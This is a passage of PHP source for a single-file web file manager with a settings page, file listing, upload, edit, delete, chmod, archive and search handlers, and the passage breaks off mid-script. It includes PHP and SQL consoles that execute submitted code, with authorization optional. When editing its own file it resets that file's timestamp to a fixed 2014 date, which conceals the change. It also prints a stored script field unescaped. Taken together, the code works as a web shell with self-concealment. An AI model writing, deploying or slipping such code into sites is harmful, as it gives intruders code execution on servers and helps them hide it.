Nz30T6RJZE3ptnMU85ry1KNSo+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}

<?=fm_home_style()?>
                                       
.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

    #fm_table td{display:inline;float:left;}

    #fm_table tbody td:first-child{width:100%;padding:0;}

    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
                                     
	#header_table table td {display:inline;float:left;}

}

</style>

</head>
                                      
<body>
<?php

$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 
if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">
                                        
<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
                              
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
                                     
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
                                       
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
                                        
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>
                           
</table>
<table>

<form method="post" action="">
                                        
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
                           
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>
</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {
                                 
	die($proxy_form);

} elseif (isset($res_lng)) {	
?>

<table class="whole">

<tr>
    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                  
<tr>

    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
                              
	if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');
                                  
	?></td></tr></table></td>
</tr>
                                       
<tr>
                         
    <td class="row1">
                               
		         <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		         <form action="" method="POST" name="console">

		         <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		         <input type="reset" value="<?=__('Reset')?>">
                         
		         <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php

$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
                                      
	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){
		         $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
                                  
	}
	$select .= "</select>\n";

	echo $select;

}

?>
                         
		         </form>

	</td>
                                
</tr>

</table>
<?php

	if (!empty($res)) {

		         $fun='fm_'.$res_lng;
                                  
		         echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
                                   
	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		         $fn = $path . $_REQUEST['edit'];
                                        
		         $filemtime = filemtime($fn);

	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');

		         else $msg .= __('Error occurred');
		         if ($_GET['edit']==basename(__FILE__)) {

		         	touch(__FILE__,1415116371);
		         } else {

		         	if (!empty($fms_config['restore_time'])) touch($fn,$filemtime);

		         }
	}

    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
                                   
    $backlink = $url_inc . '&path=' . $path;
?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>

    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
                                    
</tr>

<tr>

    <td class="row1">
        <?=$msg?>

	</td>
</tr>

<tr>

    <td class="row1">

        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>
</tr>

<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">

            <input type="submit" name="cancel" value="<?=__('Cancel')?>">

        </form>

    </td>

</tr>
</table>
                           
<?php
                        
echo $auth_local['script'];
} elseif(!empty($_REQUEST['rights'])){
                                     
	if(!empty($_REQUEST['save'])) {
                         
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		         $msg .= (__('File updated')); 

		         else $msg .= (__('Error occurred'));

	}
	clearstatcache();
                                  
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;

?>
                         
<table class="whole">

<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
                                  
<tr>

    <td class="row1">

        <?=$msg?>
                            
	</td>

</tr>

<tr>

    <td class="row1">
                                 
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
                        
</tr>
                                    
<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
                                 
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
                          
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
                                     
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>

    </td>

</tr>
                            
</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
                               
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		         $msg .= (__('File updated'));
		         $_REQUEST['rename'] = $_REQUEST['newname'];
                          
	}

	clearstatcache();

    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
                        


?>

<table class="whole">
                                
<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
<tr>

    <td class="row1">
        <?=$msg?>
	</td>
                           
</tr>

<tr>

    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>
                                      
	</td>

</tr>
<tr>
    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
                                        
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>

    </td>

</tr>
</table>

<?php
                                
} else {

//Let's rock!

    $msg = '';

    if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) {
                          
        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
                             
		         		         $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
		         	}

        }
                             
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
                        
        if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) {

            $msg .= __('Error occurred');
        } else {

		         	$msg .= __('Deleted').' '.$_REQUEST['delete'];

		         }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) {

        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

            $msg .= __('Error occurred');
                              
        } else {

		         	$msg .= __('Created').' '.$_REQUEST['dirname'];
                         
		         }

    } elseif(!empty($_POST['search_recursive'])) {
                        
		         ini_set('max_execution_time', '0');

		         $search_data =  find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		         if(!empty($search_data)) {

		         	$msg .= __('Found in fileSet').' ('.count($search_data).'):<br>';

		         	foreach ($search_data as $filename) {

		         		         $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		         	}

		         } else {
		         	$msg .= __('Nothing founded');
		         }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) {
                        
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg .= __('Error occurred');

        } else {

		         	fclose($fp);
                                   
		         	$msg .= __('Created').' '.$_REQUEST['filename'];

		         }

    } elseif (isset($_GET['zip'])) {
                                  
		         $source = base64_decode($_GET['zip']);

		         $destination = basename($source).'.zip';
		         set_time_limit(0);
		         $phar = new PharData($destination);

		         $phar->buildFromDirectory($source);

		         if (is_file($destination))

		         $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		         '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                                       
		         .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
                                   
		         else $msg .= __('Error occurred').': '.__('no fileSet');

	} elseif (isset($_GET['gz'])) {
                               
		         $source = base64_decode($_GET['gz']);

		         $archive = $source.'.tar';

		         $destination = basename($source).'.tar';

		         if (is_file($archive)) unlink($archive);

		         if (is_file($archive.'.gz')) unlink($archive.'.gz');

		         clearstatcache();

		         set_time_limit(0);
                             
		         //die();
		         $phar = new PharData($destination);
		         $phar->buildFromDirectory($source);
                              
		         $phar->compress(Phar::GZ,'.tar.gz');
                                   
		         unset($phar);
		         if (is_file($archive)) {
		         	if (is_file($archive.'.gz')) {

		         		         unlink($archive); 
		         		         $destination .= '.gz';

		         	}





		         	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		         	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                                 
		         	
                    
                    .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		         } else $msg .= __('Error occurred').': '.__('no fileSet');

	} elseif (isset($_GET['decompress'])) {
                                       
		         // $source = base64_decode($_GET['decompress']);
		         // $destination = basename($source);
		         // $ext = end(explode(".", $destination));
		         // if ($ext=='zip' OR $ext=='gz') {

		         	// $phar = new PharData($source);
		         	// $phar->decompress();

		         	// $base_file = str_replace('.'.$ext,'',$destination);

		         	// $ext = end(explode(".", $base_file));

		         	// if ($ext=='tar'){
		         		         // $phar = new PharData($base_file);

		         		         // $phar->extractTo(dir($source));
		         	// }
		         // } 
		         // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
                                        
	} elseif (isset($_GET['gzfile'])) {

		         $source = base64_decode($_GET['gzfile']);
		         $archive = $source.'.tar';

		         $destination = basename($source).'.tar';
                               
		         if (is_file($archive)) unlink($archive);

		         if (is_file($archive.'.gz')) unlink($archive.'.gz');

		         set_time_limit(0);

		         //echo $destination;

		         $ext_arr = explode('.',basename($source));

		         if (isset($ext_arr[1])) {
                                       
		         	unset($ext_arr[0]);

		         	$ext=implode('.',$ext_arr);

		         } 

		         $phar = new PharData($destination);
                            
		         $phar->addFile($source);

		         $phar->compress(Phar::GZ,$ext.'.tar.gz');

		         unset($phar);

		         if (is_file($archive)) {

		         	if (is_file($archive.'.gz')) {
                               
		         		         unlink($archive); 

		         		         $destination .= '.gz';

		         	}
		         	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                           
		         	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		         	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		         } else $msg .= __('Error occurred').': '.__('no fileSet');
                         
	}

?>





<table class="whole" id="header_table" >

<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>
<?php if(!empty($msg)){ ?>

<tr>

	<td colspan="2" class="row2"><?=$msg?></td>
                          
</tr>

<?php } ?>
<tr>
    <td class="row2">
                                 
		         <table>
                                      
		         	<tr>
                                      
		         	<td>
		         		         <?=fm_home()?>

		         	</td>

                    


		         	<td>

		         	<?php if(!empty($fms_config['make_directory'])) { ?>
                                  
		         		         <form method="post" action="<?=$url_inc?>">
                             
		         		         <input type="hidden" name="path" value="<?=$path?>" />

		         		         <input type="text" name="dirname" size="15">
                                       
		         		         <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
		         		         </form>
                                
		         	<?php } ?>
                                   
		         	
                
                
                </td>

		         	<td>
		         	<?php if(!empty($fms_config['new_file'])) { ?>
		         		         <form method="post" action="<?=$url_inc?>">

		         		         <input type="hidden" name="path"     value="<?=$path?>" />
		         		         <input type="text"   name="filename" size="15">
                            
		         		         <input type="submit" name="mkfile"   value="<?=__('New file')?>">
                         
		         		         </form>

		         	<?php } ?>
		         	</td>

		         	<td>
		         		         <form  method="post" action="<?=$url_inc?>" style="display:inline">

		         		         <input type="hidden" name="path" value="<?=$path?>" />
		         		         <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
		         		         <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
                                   
		         		         <input type="submit" name="search" value="<?=__('Search')?>">
		         		         </form>
                             
		         	</td>
                            
		         	<td>
                                 
		         	<?=fm_run_input('php')?>

		         	</td>
                                        
		         	<td>
                              
		         	<?=fm_run_input('sql')?>

		         	</td>

		         	</tr>

		         </table>

    </td>
                                        
    <td class="row3">

		         <table>

		         <tr>
                                     
		         <td>

		         <?php if (!empty($fms_config['upload_myfile'])) { ?>

		         	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

		         	<input type="hidden" name="path" value="<?=$path?>" />

		         	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		         	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
		         	<input type="submit" name="test" value="<?=__('Upload')?>" />

		         	</form>

		         <?php } ?>
		         </td>
		         <td>

		         <?php if ($auth_local['authorize']) { ?>
		         	<form action="" method="post">&nbsp;&nbsp;&nbsp;

		         	<input name="quit" type="hidden" value="1">




		         	<?=__('Hello')?>, <?=$auth_local['login']?>
                             
		         	<input type="submit" value="<?=__('Quit')?>">
                                      
		         	</form>
		         <?php } ?>

		         </td>

		         <td>
		         <?=fm_lang_form($language)?>
		         </td>
		         <tr>

		         </table>
                                   
    </td>

</tr>
                          
</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>
<tr> 
                                        
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>

    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
                              
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>

    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>
</thead>
                             
<tbody>




<?php
                                       
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();
                                
$fileSet = array();
                                
foreach ($elements as $file){

    if(@is_dir($path . $file)){
        $dirs[] = $file;



    } else {

        $fileSet[] = $file;

    }

}
natsort($dirs); natsort($fileSet);
                         
$elements = array_merge($dirs, $fileSet);



foreach ($elements as $file){

    $filename = $path . $file;
                                
    $filedata = @stat($filename);

    if(@is_dir($filename)){
		         $filedata[7] = '';

		         if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
                            
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
                             
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		         $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';

		          if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
                          
    } else {
		         $link = 

		         	$fms_config['show_img']&&@getimagesize($filename) 

		         	? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
                        
		         	. fm_img_link($filename)

		         	.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
                                        
		         	: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		         $e_arr = explode(".", $file);

		         $ext = end($e_arr);
                                  
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		         $arlink = in_array($ext,array('zip','gz','tar')) 
                                
		         ? ''
		         : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

        $style = 'row1';
		         $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
                                 
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>

<tr class="<?=$style?>"> 

    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
                                      
    <td><?=$arlink?></td>
</tr>
<?php
    }
}

?>

</tbody>

</table>

<div class="row3"><?php

	$mtime_share = explode(' ', microtime()); 
	



    $totaltime = $mtime_share[0] + $mtime_share[1] - $starttime; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion();







	if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
                             
	if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	
    
    
    if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
                         
	if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	
    
    
    if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
                        
	if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>
<script type="text/javascript">
                                        
function download_xls(filename, text) {

	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);
	element.style.display = 'none';

	document.body.appendChild(element);
	element.click();

	document.body.removeChild(element);
                                     
}



function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		         c = m.charCodeAt(l);

		         if (128 > c) d = 1;

		         else

		         	for (d = 2; c >= 2 << 5 * d;) ++d;
